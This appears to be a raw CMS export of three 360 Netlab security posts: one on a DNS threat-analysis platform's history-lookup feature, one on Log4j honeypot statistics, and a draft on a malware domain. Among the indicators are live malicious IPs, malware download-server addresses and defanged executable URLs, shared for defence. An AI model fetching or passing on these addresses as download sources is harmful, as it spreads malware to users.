有了这两个数据的支持，在平台上实现“历史重现”的功能就是水到渠成的事情了。
功能
根据IoC数量的不同，DTA平台提供了两种查询方式。还是以ESET提到的带后门IDA例子为例。
单个IoC
在推文里，提供了一个C2域名：devguardmap[.]org。
我们在“全局搜索栏”里选择搜索类别：域名，然后输入或ctrl+v粘贴想要查询的域名，如果该域名在历史上没有被公司内的任何资产访问过，会提示“没有数据”。此刻，您可以放宽心了。
如果有命中，也先别惊慌，进一步选择域名查看详情再做结论。打个岔，从“搜索结果”可以看出，搜索结果会把满足子串匹配的所有域名也都列举出来供选择。
图-3是360内部对该域名的访问情况，两个关键信息：1、在右上角指定的时间范围内，共有11个资产访问了该域名；2、该域名在公司网络内出现的首次时间是：2021-11-11 10:39:25。由于时间是在推文发布(2021-11-10)之后，可以猜测大概率是研究人员在复盘，不是真实的感染。王婆卖瓜一下，360对安全事件的反应还是挺迅速的:)。进一步的，可以点击左侧栏的资产列表，对安全运营人员来说，结合其它信息，能定位到是哪些员工在跟进这个事件。
对安全敏感的读者，也许已经注意到域名的下方，有多个tabs，这些tabs里面有DTA系统的多种模型，从数据维度提炼和展现相关对象的多种角度的数据结果，比如这里面有3个橙色的标签：“可疑境外域名”、“UnknownThreat.persistent_access”和“可疑心跳域名”，这些标签是DTA内置的未知威胁模型在分析关联多个维度数据后给出的“可疑域名”判定。橙色标签就像交通灯亮起了黄灯，警示分析人员需要做进一步的分析。至于如何做进一步的分析，找出真实的威胁，后面其它文章细聊。
读者请注意，我们这里举的是一个历史数据的简单匹配，但DTA对这个简单例子的处理方式，和传统意义上的安全事件告警响应系统或者日志查询有很多的不同，如果仔细体会例子的各种细节，应该能感觉到系统从底层数据到页面布局，都是为方便展开威胁分析而设计的。把页面比作操作台，那操作台上既有原材料(用户的DNS数据和360的云端数据)，也有DTA自动产出的大量的预处理结果和不同的各种相关组件内容(可疑域名标签，资产类别，用户行为偏好等)，类似于乐高片，分析人员按照自己的经验想法，依次组合这些组件，可能就形成了一类有效的威胁分析。依照自己的能力水平，既可以浅尝辄止，也可以持续深入，从完全未知一步步向真相迈进。
多个IoC
在推文里，还出现了另一个域名：www[.]devguardmap[.]org。对多个IoC，DTA通过“威胁分析”页面实现历史数据查询。
“威胁分析”页面提供两种查询方式：1、熟悉语法的，直接书写“查询表达式”；2、不熟悉语法的，在右侧“构建表达式”里分别点击选择查询类别，运算符，输入或选择查询内容，最后点击“应用”按钮开始查询。
查询完成后，通过点击图-4的“2个域名”，“解析到1个IP”，“涉及11个资产”，“共14个请求”等按钮，查询结果会以4种不同的视角，即域名，Rdata，资产，请求时序的角度展现历史DNS请求解析情况。通过更多的角度观察同一份数据，能有效帮助分析人员形成威胁判研。
结语
本文以“历史重现”小功能为起点，通过实例细节，展示了这个功能点是如何和核心理念的第1条对应起来的。您在使用DTA时，也可以多观察，还有哪些功能点是和理念第1条相关的。后面，我们也会继续举例说明。
但下一篇，我们先来谈一谈核心理念的第2条：“让威胁分析真正有效”，看一看DTA是如何将360云端安全数据赋能到用户数据之上的，敬请期待。
产品、商务咨询，请联系 [email protected] | {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"> 让情报发挥应有价值\n> 让威胁分析真正有效"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/03-1.png","caption":"图-1 全局搜索栏无命中"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/04.png","caption":"图-2 全局搜索栏有命中"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/01.png","cardWidth":"","caption":"图-3 域名详情页面"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/02-1.png","caption":"图-4 威胁分析页面"}]],"markups":[["strong"],["em"],["a",["href","__GHOST_URL__/360dta-announced/"]],["a",["href","https://twitter.com/esetresearch/status/1458438155149922312"]],["a",["href","https://passivedns.cn/"]],["a",["href","mailto:[email protected]"]]],"sections":[[1,"p",[[0,[0,1],2,"--- “历史重现”小功能"]]],[1,"h2",[[0,[],0,"概述"]]],[1,"p",[[0,[],0,"2021年10月，"],[0,[2],1,"《七年一剑，360 DNS威胁分析平台》"],[0,[],0,"宣告了360 DNS威胁分析平台(简称DTA)的诞生。在文章开头，Netlab阐述了设计DTA的核心理念："]]],[10,0],[1,"p",[[0,[],0,"理念是简洁的，也是抽象的。18个字背后，对应着Neltab 7年的安全研究经验；而7年的沉淀，又在2年时间的打磨里，变成了DTA众多的功能。为了让抽象的理念具象化，后续，我们将推出一系列DTA相关博文，希望通过这些文章案例，在介绍产品某个具体功能如何使用的同时，顺带说明理念是怎样指导功能设计的；也希望这些示例，能为DTA的进阶使用者提供入门参考。"]]],[1,"p",[[0,[],0,"需要提醒使用者的是，DTA是一款灵活的数据分析产品，它一端连接着用户网络的全量DNS数据，另一端连接着360海量云端数据，DTA将这两者汇合，并在平台上努力提供得心应手的各种预置操作工具和大量预处理模型。但全量和海量的二者碰撞，究竟能演绎出多少精彩的内容，绝对是和使用者有极大关系的。在平台上，已经准备好了组件和工具，也有我们一直在更新迭代搭建完成的模型，但模型如何使用，不同的模型如何组合和拼接，有各种可能性。管理员按照自己的技术能力水平，既可以傻瓜式使用系统内置的数据结果，也可以组合和使用不同的模块及产出的数据，对DNS的数据进行观察，对用户、告警进行深入高阶分析，请发挥想象，不要被博文介绍的入门内容限制住了思路。"]]],[1,"p",[[0,[],0,"本文是系列文章的第一篇，我们从一个非常简单，即使是新手上路的同学也很容易理解的“历史重现”功能，简单的串下DTA的一些功能元素。"]]],[1,"h2",[[0,[],0,"场景"]]],[1,"p",[[0,[],0,"作为公司的安全运营人员，在获取到新的威胁情报时，除了将IoC加入到安全产品，应该还会有这样的疑虑，举例来说："]]],[1,"p",[[0,[],0,"比如360的安全运营人员，在2021-11-10，当看到ESET在twitter上发布了一则关于"],[0,[3],1,"Lazarus使用带后门IDA攻击安全分析人员"],[0,[],0,"的消息时，他心里应该会想：我们是安全公司，IDA使用普遍，公司内会不会有人碰巧违规使用了这些软件？如果有，是什么时间什么资产在使用？"]]],[1,"p",[[0,[],0,"DTA解决这个问题的理念是：“让情报发挥应有价值”。情报的价值，不应局限于“现在”和“将来”的IoC匹配告警；当新情报出现时，也应该能够在“过去”的历史数据里挖掘出应有价值。"]]],[1,"p",[[0,[],0,"那产品的功能是如何实现的呢？"]]],[1,"h2",[[0,[],0,"数据"]]],[1,"p",[[0,[],0,"首先，这个和DTA分析对象有关，它分析的是全量DNS日志数据。"]]],[1,"p",[[0,[],0,"DNS简单且重要。"],[0,[2],1,"据统计，DNS在企业网全流量里占比小，但超过80%的恶意软件却和DNS协议相关。"],[0,[],0,"因此，DTA只要把好DNS这个关口，也能帮助企业发现大部分威胁。具体到真实的公司环境，比如一个拥有6000名员工的公司，日常的DNS流量在10~15Mbps之间，换算成每秒请求数(query per second)，为5千~8千qps，一天的总量大概在7亿。和全流量比，这个量级可以让DTA "],[0,[0,1],2,"以年为单位 "],[0,[],0,"存储全量DNS日志(下文称DNS日志数据库)，而对存储和算力的要求，普通服务器就可以满足。"]]],[1,"p",[[0,[],0,"其次，DTA内部集成了一个mini PDNS，其功能类似于Netlab从2014年开始运维的中国最大公开PDNS数据库("],[0,[4],1,"passivedns.cn"],[0,[],0,")，会以极低的成本存储自DTA接入以来的全量DNS数据，并提供快速查询。"]]],[1,"p",[[0,[],0,"有了这两个数据的支持，在平台上实现“历史重现”的功能就是水到渠成的事情了。"]]],[1,"h2",[[0,[],0,"功能"]]],[1,"p",[[0,[],0,"根据IoC数量的不同，DTA平台提供了两种查询方式。还是以ESET提到的带后门IDA例子为例。"]]],[1,"h3",[[0,[],0,"单个IoC"]]],[1,"p",[[0,[],0,"在推文里，提供了一个C2域名：devguardmap[.]org。"]]],[1,"p",[[0,[],0,"我们在“全局搜索栏”里选择搜索类别：域名，然后输入或ctrl+v粘贴想要查询的域名，如果该域名在历史上没有被公司内的任何资产访问过，会提示“没有数据”。此刻，您可以放宽心了。"]]],[10,1],[1,"p",[[0,[],0,"如果有命中，也先别惊慌，进一步选择域名查看详情再做结论。打个岔，从“搜索结果”可以看出，搜索结果会把满足子串匹配的所有域名也都列举出来供选择。"]]],[10,2],[1,"p",[[0,[],0,"图-3是360内部对该域名的访问情况，两个关键信息：1、在右上角指定的时间范围内，共有11个资产访问了该域名；2、该域名在公司网络内出现的首次时间是：2021-11-11 10:39:25。由于时间是在推文发布(2021-11-10)之后，可以猜测大概率是研究人员在复盘，不是真实的感染。王婆卖瓜一下，360对安全事件的反应还是挺迅速的:)。进一步的，可以点击左侧栏的资产列表，对安全运营人员来说，结合其它信息，能定位到是哪些员工在跟进这个事件。"]]],[10,3],[1,"p",[[0,[],0,"对安全敏感的读者，也许已经注意到域名的下方，有多个tabs，这些tabs里面有DTA系统的多种模型，从数据维度提炼和展现相关对象的多种角度的数据结果，比如这里面有3个橙色的标签：“可疑境外域名”、“UnknownThreat.persistent_access”和“可疑心跳域名”，这些标签是DTA内置的未知威胁模型在分析关联多个维度数据后给出的“可疑域名”判定。橙色标签就像交通灯亮起了黄灯，警示分析人员需要做进一步的分析。至于如何做进一步的分析，找出真实的威胁，后面其它文章细聊。"]]],[1,"p",[[0,[],0,"读者请注意，我们这里举的是一个历史数据的简单匹配，但DTA对这个简单例子的处理方式，和传统意义上的安全事件告警响应系统或者日志查询有很多的不同，如果仔细体会例子的各种细节，应该能感觉到系统从底层数据到页面布局，都是为方便展开威胁分析而设计的。把页面比作操作台，那操作台上既有原材料(用户的DNS数据和360的云端数据)，也有DTA自动产出的大量的预处理结果和不同的各种相关组件内容(可疑域名标签，资产类别，用户行为偏好等)，类似于乐高片，分析人员按照自己的经验想法，依次组合这些组件，可能就形成了一类有效的威胁分析。依照自己的能力水平，既可以浅尝辄止，也可以持续深入，从完全未知一步步向真相迈进。"]]],[1,"h3",[[0,[],0,"多个IoC"]]],[1,"p",[[0,[],0,"在推文里，还出现了另一个域名：www[.]devguardmap[.]org。对多个IoC，DTA通过“威胁分析”页面实现历史数据查询。"]]],[1,"p",[[0,[],0,"“威胁分析”页面提供两种查询方式：1、熟悉语法的，直接书写“查询表达式”；2、不熟悉语法的，在右侧“构建表达式”里分别点击选择查询类别，运算符，输入或选择查询内容，最后点击“应用”按钮开始查询。"]]],[1,"p",[[0,[],0,"查询完成后，通过点击图-4的“2个域名”，“解析到1个IP”，“涉及11个资产”，“共14个请求”等按钮，查询结果会以4种不同的视角，即域名，Rdata，资产，请求时序的角度展现历史DNS请求解析情况。通过更多的角度观察同一份数据，能有效帮助分析人员形成威胁判研。"]]],[10,4],[1,"h2",[[0,[],0,"结语"]]],[1,"p",[[0,[],0,"本文以“历史重现”小功能为起点，通过实例细节，展示了这个功能点是如何和核心理念的第1条对应起来的。您在使用DTA时，也可以多观察，还有哪些功能点是和理念第1条相关的。后面，我们也会继续举例说明。"]]],[1,"p",[[0,[],0,"但下一篇，我们先来谈一谈核心理念的第2条：“让威胁分析真正有效”，看一看DTA是如何将360云端安全数据赋能到用户数据之上的，敬请期待。"]]],[1,"p",[[0,[],0,"产品、商务咨询，请联系 "],[0,[5],1,"[email protected]"]]]],"ghostVersion":"3.0"} | 61c038103819e50007636fd4 |
post | null | 2021-12-21T02:18:05.000Z | 63873b9a8b1c1e0007f53003 | apache-log4j2-vulnerability-attack-trend-from-the-perspective-of-honeypot-en | 0 | 2022-02-09T07:16:15.000Z | public | published | null | 2021-12-21T04:13:32.000Z | Day 10: where we are with log4j from honeypot’s perspective | <p>Our team spent great deal of effort on simulating different protocols, applications and vulnerabilities with our honeypot (Anglerfish and Apacket) system. When big event happens, we are always curious what we see from the honeypot side. Since log4j came to light 10 days ago, we have published two related blogs, <a href="__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/">here</a> and <a href="__GHOST_URL__/ten-families-of-malicious-samples-are-spreading-using-the-log4j2-vulnerability-now/">here</a>. And looks like more malware are jumping on the bandwagon, as of December 17, we have captured a total of 72,242 attacks launched by 2042 attack source IPs (250 in China and 1,792 abroad), with the source IPs involved in 54 countries, and 132 attack source IPs were found to have exploited the vulnerability to propagate 617 known malware md5s belonging to 30 malware families.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-33.png" class="kg-image" alt loading="lazy"></figure><p>The graph above shows the curve of the number of exploit attacks over time, which shows that the number of attack sessions rose rapidly in the next few days after the vulnerability was exposed. On December 18, the day with the highest number of attack sessions so fare, there were over 28,000 attack sessions in one day. starting on December 13, there were also combined attacks of this vulnerability with other vulnerabilities (Apache Flink, Hadoop, Apache Struts2 vulnerability, etc.).</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-31.png" class="kg-image" alt loading="lazy"></figure><p>The figure above shows the main attack source IPs, so far the No.1 is <strong>78.31.71.248</strong>(PDNS points to srv62134.dus4.dedicated.server-hosting.expert), accounting for about 9% of the overall IP attacks, and the other main attack source IPs are shown in the legend on the right.</p><p>In terms of spreading malware, we reported the first botnet(Muhstik) taking advantage of this at exactly 8:00 on December 11, the number of malware spreading increasing significantly over time after that.</p><!--kg-card-begin: markdown--><table>
<thead>
<tr>
<th>IPs</th>
<th>sessions with malware</th>
<th>md5s</th>
<th>malware families</th>
</tr>
</thead>
<tbody>
<tr>
<td>170.210.45.163</td>
<td>4,753</td>
<td>28</td>
<td>6</td>
</tr>
<tr>
<td>167.71.175.10</td>
<td>4,678</td>
<td>15</td>
<td>4</td>
</tr>
<tr>
<td>164.52.53.163</td>
<td>3,926</td>
<td>30</td>
<td>6</td>
</tr>
<tr>
<td>46.105.95.220</td>
<td>3,710</td>
<td>30</td>
<td>6</td>
</tr>
<tr>
<td>1.116.59.211</td>
<td>2,824</td>
<td>31</td>
<td>6</td>
</tr>
<tr>
<td>89.249.63.3</td>
<td>2,195</td>
<td>31</td>
<td>6</td>
</tr>
<tr>
<td>86.109.208.194</td>
<td>2,121</td>
<td>29</td>
<td>6</td>
</tr>
<tr>
<td>178.176.202.121</td>
<td>2,081</td>
<td>29</td>
<td>6</td>
</tr>
<tr>
<td>175.6.210.66</td>
<td>2,025</td>
<td>30</td>
<td>7</td>
</tr>
<tr>
<td>191.232.38.25</td>
<td>1,776</td>
<td>23</td>
<td>6</td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><p>The table above lists the 10 IPs that spread the most malware, as well as the number of malware md5s and the number of malware families spread by each IPs.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-28.png" class="kg-image" alt loading="lazy"></figure><p>When we break down the 1083 executable samples and Java bytecode according to their ssdeep values., we get a total of 107 groups of samples (mainly Java bytecode files), within which, 30 groups (correspondingly 617 malware md5s) can be identified as specific malware families, the rest of them are currently unknown.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-25.png" class="kg-image" alt loading="lazy"></figure><p>In terms of malware download servers, 34.221.40.237 is the most frequent download server, with nearly half of the malware coming from this download server. This is an AWS cloud server IP located in the U.S. Other common download servers are shown in the legend on the right side of the image above, and the table below lists the 10 download servers used by the attackers.</p><!--kg-card-begin: markdown--><table>
<thead>
<tr>
<th>download servers</th>
<th>attackers</th>
<th>malware md5s</th>
<th>malware families</th>
<th>sessions</th>
</tr>
</thead>
<tbody>
<tr>
<td>34.221.40.237</td>
<td>102</td>
<td>8</td>
<td>2</td>
<td>50,358</td>
</tr>
<tr>
<td>159.89.182.117</td>
<td>102</td>
<td>1</td>
<td>1</td>
<td>1,850</td>
</tr>
<tr>
<td>18.228.7.109</td>
<td>75</td>
<td>15</td>
<td>1</td>
<td>2,947</td>
</tr>
<tr>
<td>31.220.58.29</td>
<td>73</td>
<td>6</td>
<td>2</td>
<td>467</td>
</tr>
<tr>
<td>137.184.174.180</td>
<td>66</td>
<td>1</td>
<td>1</td>
<td>1,097</td>
</tr>
<tr>
<td>68.183.165.105</td>
<td>66</td>
<td>5</td>
<td>1</td>
<td>6,334</td>
</tr>
<tr>
<td>210.141.105.67</td>
<td>51</td>
<td>1</td>
<td>1</td>
<td>183</td>
</tr>
<tr>
<td>45.130.229.168</td>
<td>15</td>
<td>1</td>
<td>1</td>
<td>34</td>
</tr>
<tr>
<td>103.13.230.149</td>
<td>14</td>
<td>6</td>
<td>1</td>
<td>156</td>
</tr>
<tr>
<td>54.210.230.186</td>
<td>14</td>
<td>1</td>
<td>1</td>
<td>19</td>
</tr>
<tr>
<td>45.80.181.55</td>
<td>6</td>
<td>6</td>
<td>1</td>
<td>54</td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><p>Among the attack source IPs that can be traced, most of attackers come from Alpha Strike Labs (a German network security company). In addition to security vendors and research institutions, there are also a large number of attacks from Tor exit nodes.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-26.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or email us to netlab at 360 dot cn.</p>
<!--kg-card-end: markdown--> | Our team spent great deal of effort on simulating different protocols, applications and vulnerabilities with our honeypot (Anglerfish and Apacket) system. When big event happens, we are always curious what we see from the honeypot side. Since log4j came to light 10 days ago, we have published two related blogs, here and here. And looks like more malware are jumping on the bandwagon, as of December 17, we have captured a total of 72,242 attacks launched by 2042 attack source IPs (250 in China and 1,792 abroad), with the source IPs involved in 54 countries, and 132 attack source IPs were found to have exploited the vulnerability to propagate 617 known malware md5s belonging to 30 malware families.
The graph above shows the curve of the number of exploit attacks over time, which shows that the number of attack sessions rose rapidly in the next few days after the vulnerability was exposed. On December 18, the day with the highest number of attack sessions so fare, there were over 28,000 attack sessions in one day. starting on December 13, there were also combined attacks of this vulnerability with other vulnerabilities (Apache Flink, Hadoop, Apache Struts2 vulnerability, etc.).
The figure above shows the main attack source IPs, so far the No.1 is 78.31.71.248(PDNS points to srv62134.dus4.dedicated.server-hosting.expert), accounting for about 9% of the overall IP attacks, and the other main attack source IPs are shown in the legend on the right.
In terms of spreading malware, we reported the first botnet(Muhstik) taking advantage of this at exactly 8:00 on December 11, the number of malware spreading increasing significantly over time after that.
IPs
sessions with malware
md5s
malware families
170.210.45.163
4,753
28
6
167.71.175.10
4,678
15
4
164.52.53.163
3,926
30
6
46.105.95.220
3,710
30
6
1.116.59.211
2,824
31
6
89.249.63.3
2,195
31
6
86.109.208.194
2,121
29
6
178.176.202.121
2,081
29
6
175.6.210.66
2,025
30
7
191.232.38.25
1,776
23
6
The table above lists the 10 IPs that spread the most malware, as well as the number of malware md5s and the number of malware families spread by each IPs.
When we break down the 1083 executable samples and Java bytecode according to their ssdeep values., we get a total of 107 groups of samples (mainly Java bytecode files), within which, 30 groups (correspondingly 617 malware md5s) can be identified as specific malware families, the rest of them are currently unknown.
In terms of malware download servers, 34.221.40.237 is the most frequent download server, with nearly half of the malware coming from this download server. This is an AWS cloud server IP located in the U.S. Other common download servers are shown in the legend on the right side of the image above, and the table below lists the 10 download servers used by the attackers.
download servers
attackers
malware md5s
malware families
sessions
34.221.40.237
102
8
2
50,358
159.89.182.117
102
1
1
1,850
18.228.7.109
75
15
1
2,947
31.220.58.29
73
6
2
467
137.184.174.180
66
1
1
1,097
68.183.165.105
66
5
1
6,334
210.141.105.67
51
1
1
183
45.130.229.168
15
1
1
34
103.13.230.149
14
6
1
156
54.210.230.186
14
1
1
19
45.80.181.55
6
6
1
54
Among the attack source IPs that can be traced, most of attackers come from Alpha Strike Labs (a German network security company). In addition to security vendors and research institutions, there are also a large number of attacks from Tor exit nodes.
Contact us
Readers are always welcomed to reach us on twitter or email us to netlab at 360 dot cn.
| {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2021/12/image-33.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-31.png"}],["markdown",{"markdown":"| IPs | sessions with malware | md5s | malware families |\n| --------------- | ------------------ | ----------- | ------------ |\n| 170.210.45.163 | 4,753 | 28 | 6 |\n| 167.71.175.10 | 4,678 | 15 | 4 |\n| 164.52.53.163 | 3,926 | 30 | 6 |\n| 46.105.95.220 | 3,710 | 30 | 6 |\n| 1.116.59.211 | 2,824 | 31 | 6 |\n| 89.249.63.3 | 2,195 | 31 | 6 |\n| 86.109.208.194 | 2,121 | 29 | 6 |\n| 178.176.202.121 | 2,081 | 29 | 6 |\n| 175.6.210.66 | 2,025 | 30 | 7 |\n| 191.232.38.25 | 1,776 | 23 | 6 |"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-28.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-25.png"}],["markdown",{"markdown":"| download servers | attackers | malware md5s | malware families | sessions |\n| --------------- | ------------ | ------------ | ------------ | ------------ |\n| 34.221.40.237 | 102 | 8 | 2 | 50,358 |\n| 159.89.182.117 | 102 | 1 | 1 | 1,850 |\n| 18.228.7.109 | 75 | 15 | 1 | 2,947 |\n| 31.220.58.29 | 73 | 6 | 2 | 467 |\n| 137.184.174.180 | 66 | 1 | 1 | 1,097 |\n| 68.183.165.105 | 66 | 5 | 1 | 6,334 |\n| 210.141.105.67 | 51 | 1 | 1 | 183 |\n| 45.130.229.168 | 15 | 1 | 1 | 34 |\n| 103.13.230.149 | 14 | 6 | 1 | 156 |\n| 54.210.230.186 | 14 | 1 | 1 | 19 |\n| 45.80.181.55 | 6 | 6 | 1 | 54 |"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-26.png"}],["markdown",{"markdown":"### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn."}]],"markups":[["a",["href","__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/"]],["a",["href","__GHOST_URL__/ten-families-of-malicious-samples-are-spreading-using-the-log4j2-vulnerability-now/"]],["strong"]],"sections":[[1,"p",[[0,[],0,"Our team spent great deal of effort on simulating different protocols, applications and vulnerabilities with our honeypot (Anglerfish and Apacket) system. When big event happens, we are always curious what we see from the honeypot side. Since log4j came to light 10 days ago, we have published two related blogs, "],[0,[0],1,"here"],[0,[],0," and "],[0,[1],1,"here"],[0,[],0,". And looks like more malware are jumping on the bandwagon, as of December 17, we have captured a total of 72,242 attacks launched by 2042 attack source IPs (250 in China and 1,792 abroad), with the source IPs involved in 54 countries, and 132 attack source IPs were found to have exploited the vulnerability to propagate 617 known malware md5s belonging to 30 malware families."]]],[10,0],[1,"p",[[0,[],0,"The graph above shows the curve of the number of exploit attacks over time, which shows that the number of attack sessions rose rapidly in the next few days after the vulnerability was exposed. On December 18, the day with the highest number of attack sessions so fare, there were over 28,000 attack sessions in one day. starting on December 13, there were also combined attacks of this vulnerability with other vulnerabilities (Apache Flink, Hadoop, Apache Struts2 vulnerability, etc.)."]]],[10,1],[1,"p",[[0,[],0,"The figure above shows the main attack source IPs, so far the No.1 is "],[0,[2],1,"78.31.71.248"],[0,[],0,"(PDNS points to srv62134.dus4.dedicated.server-hosting.expert), accounting for about 9% of the overall IP attacks, and the other main attack source IPs are shown in the legend on the right."]]],[1,"p",[[0,[],0,"In terms of spreading malware, we reported the first botnet(Muhstik) taking advantage of this at exactly 8:00 on December 11, the number of malware spreading increasing significantly over time after that."]]],[10,2],[1,"p",[[0,[],0,"The table above lists the 10 IPs that spread the most malware, as well as the number of malware md5s and the number of malware families spread by each IPs."]]],[10,3],[1,"p",[[0,[],0,"When we break down the 1083 executable samples and Java bytecode according to their ssdeep values., we get a total of 107 groups of samples (mainly Java bytecode files), within which, 30 groups (correspondingly 617 malware md5s) can be identified as specific malware families, the rest of them are currently unknown."]]],[10,4],[1,"p",[[0,[],0,"In terms of malware download servers, 34.221.40.237 is the most frequent download server, with nearly half of the malware coming from this download server. This is an AWS cloud server IP located in the U.S. Other common download servers are shown in the legend on the right side of the image above, and the table below lists the 10 download servers used by the attackers."]]],[10,5],[1,"p",[[0,[],0,"Among the attack source IPs that can be traced, most of attackers come from Alpha Strike Labs (a German network security company). In addition to security vendors and research institutions, there are also a large number of attacks from Tor exit nodes."]]],[10,6],[10,7],[1,"p",[]]],"ghostVersion":"3.0"} | 61c1395d3819e500076370fc |
post | null | 2021-12-24T10:03:20.000Z | 63873b9a8b1c1e0007f53004 | gan-ran-liang-ju-da-de | 0 | 2021-12-27T03:34:01.000Z | public | draft | null | null | 用DNS发现未知威胁，恶意程序基础设施迭代更新 | <!--kg-card-begin: markdown--><h2 id="">之发现</h2>
<p>360Netlab的DNSMon利用海量的多维度数据以及大网的DNS数据，对异常的域名进行监控判定，如果定性为恶意域名会自动生成IOC并在一定范围内进行拦截。</p>
<p>在12.8，DNSMon在无规则的情况下拦截了一个异常的二级域名 xiaoniu321[.]com及其子域名www2.xiaoniu321[.]com 。</p>
<img src = '/content/images/2021/12/xiaoniu321.png' width="860px" />
<img src = "/content/images/2021/12/www2.xiaoniu321.com.png" width = "860px" />
<p>在12.10针对样本数据的分析中，发现样本 65982deb6ac30b9f1f4dab1aa26a0d0e 在大量扩散并且和之前拦截的域名有着密切的关系，同时注意到www2的子域名上存在如下的URL链接。</p>
<pre><code>http://www2.xiaoniu321[.]com:9002/1vv/ii7.exe
http://www2.xiaoniu321[.]com:9002/1vv/Nidispla2.exe
http://www2.xiaoniu321[.]com:9002/111/Nidispla2.exe
</code></pre>
<ol>
<li>首先从xiaoniu321.com以及其对应的样本65982deb6ac30b9f1f4dab1aa26a0d0e 在迅速的扩散</li>
<li>其次xiaoniu321.com 的域名注册很新</li>
<li>从样本出发，发现若干近似样本与域名www1.jincc.cc有关联，并且xiaoniu321.com和jincc.cc的子域名结构很像。并且有段时间共享一个IP103.142.8.74。并且他们的URL结构很像，都包含nidisplay字样。 在10.19的时候已经被我们block了。</li>
<li>从流量图上来看，也存在此起彼伏的特征。</li>
<li>从xiaoniu123的IP上也可以关联出 7yx77.com，猜测是恶意程序运行过程中的配置文件</li>
<li>通过查询文件名nidisplay.exe，发现是激活工具在传播hpaccess病毒。主要是做ddos功能。</li>
<li>通过图系统关联，发现跟独狼有关。</li>
<li>通过对比配置文件，发现和独狼有关，</li>
</ol>
<h2 id="ioc">IOC</h2>
<pre><code>7yx77.com
</code></pre>
<h2 id="">参考文档</h2>
<ol>
<li><a href="https://www.bilibili.com/video/av969086155/">https://www.bilibili.com/video/av969086155/</a></li>
<li><a href="https://bbs.huorong.cn/archiver/?tid-76990.html">https://bbs.huorong.cn/archiver/?tid-76990.html</a></li>
<li><a href="https://mp.weixin.qq.com/s/-Pg-4MoD9LyQN5hmS-HOow">https://mp.weixin.qq.com/s/-Pg-4MoD9LyQN5hmS-HOow</a></li>
<li><a href="https://graph.netlab.qihoo.net/#/explorer?snapshot=61c5970a21addfb5089292ea">https://graph.netlab.qihoo.net/#/explorer?snapshot=61c5970a21addfb5089292ea</a></li>
<li><a href="https://www.freebuf.com/articles/system/218191.html">https://www.freebuf.com/articles/system/218191.html</a></li>
</ol>
<!--kg-card-end: markdown--> | 之发现
360Netlab的DNSMon利用海量的多维度数据以及大网的DNS数据，对异常的域名进行监控判定，如果定性为恶意域名会自动生成IOC并在一定范围内进行拦截。
在12.8，DNSMon在无规则的情况下拦截了一个异常的二级域名 xiaoniu321[.]com及其子域名www2.xiaoniu321[.]com 。
在12.10针对样本数据的分析中，发现样本 65982deb6ac30b9f1f4dab1aa26a0d0e 在大量扩散并且和之前拦截的域名有着密切的关系，同时注意到www2的子域名上存在如下的URL链接。
http://www2.xiaoniu321[.]com:9002/1vv/ii7.exe
http://www2.xiaoniu321[.]com:9002/1vv/Nidispla2.exe
http://www2.xiaoniu321[.]com:9002/111/Nidispla2.exe
1. 首先从xiaoniu321.com以及其对应的样本65982deb6ac30b9f1f4dab1aa26a0d0e 在迅速的扩散
2. 其次xiaoniu321.com 的域名注册很新
3. 从样本出发，发现若干近似样本与域名www1.jincc.cc有关联，并且xiaoniu321.com和jincc.cc的子域名结构很像。并且有段时间共享一个IP103.142.8.74。并且他们的URL结构很像，都包含nidisplay字样。 在10.19的时候已经被我们block了。
4. 从流量图上来看，也存在此起彼伏的特征。
5. 从xiaoniu123的IP上也可以关联出 7yx77.com，猜测是恶意程序运行过程中的配置文件
6. 通过查询文件名nidisplay.exe，发现是激活工具在传播hpaccess病毒。主要是做ddos功能。
7. 通过图系统关联，发现跟独狼有关。
8. 通过对比配置文件，发现和独狼有关，
IOC
7yx77.com
参考文档
1. https://www.bilibili.com/video/av969086155/
2. https://bbs.huorong.cn/archiver/?tid-76990.html
3. https://mp.weixin.qq.com/s/-Pg-4MoD9LyQN5hmS-HOow
4. https://graph.netlab.qihoo.net/#/explorer?snapshot=61c5970a21addfb5089292ea
5. https://www.freebuf.com/articles/system/218191.html
